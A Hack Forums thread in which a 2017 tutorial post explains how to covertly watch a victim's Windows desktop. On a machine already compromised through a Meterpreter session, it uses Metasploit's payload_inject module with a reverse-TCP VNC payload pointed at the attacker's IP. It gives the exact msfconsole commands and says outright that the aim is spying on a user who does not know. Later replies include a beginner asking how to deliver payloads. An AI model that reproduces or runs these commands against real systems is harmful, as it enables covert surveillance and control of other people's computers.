

Forum:[Hack Forums](#)

Thread: [SOCIAL ENGINEERING TOOLKIT \(SET\): SEE REAL-TIME PC DESKTOP](#)

Mr.Zzz - August 27, 2017, 6:47 am

SEE REAL-TIME PC DESKTOP WITH VNC AND PAYLOAD INJECTION

In the last tutorial, [<https://hackforums.net/showthread.php?tid=5703456>] we got control of a remote Windows PC with Metasploit and now we want to see in real time what's happening on the victim's desktop: see the open programs, view the internet pages that he see, in short, spy on the actions of the user of the machine in our possession. All this is possible through a VNC software.

VNC is the acronym for Virtual Network Computing, generally software that is installed on computers in order to remotely control or provide direct assistance to a user with limited experience in using the PC. To name a few of the best known: TightVNC, Team Viewer, RealVNC. The result we get from installing these software on a remote PC is the ability to connect to it, see the desktop in real time and interact with it.

In this article, we will discuss the installation of a VNC software on a remote Windows target without knowing the user of this machine through the payload injection technique. We have our open Meterpreter session on the victim, as before we put the session in the background by launching the background command from the console.

```
meterpreter > background
```

We change the context of using msfconsole on the payload_inject post-exploitation module, which actually injects a payload into the target machine by an already opened session on it.

```
msf exploit(handler) > use windows/manage/payload_inject
```

Let's Configure the module with the following commands:

```
msf post(payload_inject) > set PAYLOAD windows/vncinject/reverse_tcp
msf post(payload_inject) > set LHOST [ip_attacker]
msf post(payload_inject) > set SESSION [id_session]
msf post(payload_inject) > set HANDLER true
```

At this point we launch the payload injection with the classic "exploit" command:

```
msf post(payload_inject) > exploit
```

Once launched, a VNC window will open on the attacking machine, displaying the victim screen in real time.

FaLL1726 - April 13, 2018, 7:16 pm

yes hey i was wondering what methods there are to send a payload to a remote pc..Im totally new to this been messing around in kali for around a month.wanting to learn more any help will be appreciated

Ranko Rale - *May 17, 2020, 3:54 am*

Everyvody shows you what he is able to do but if you ask how then there is no answer anymore...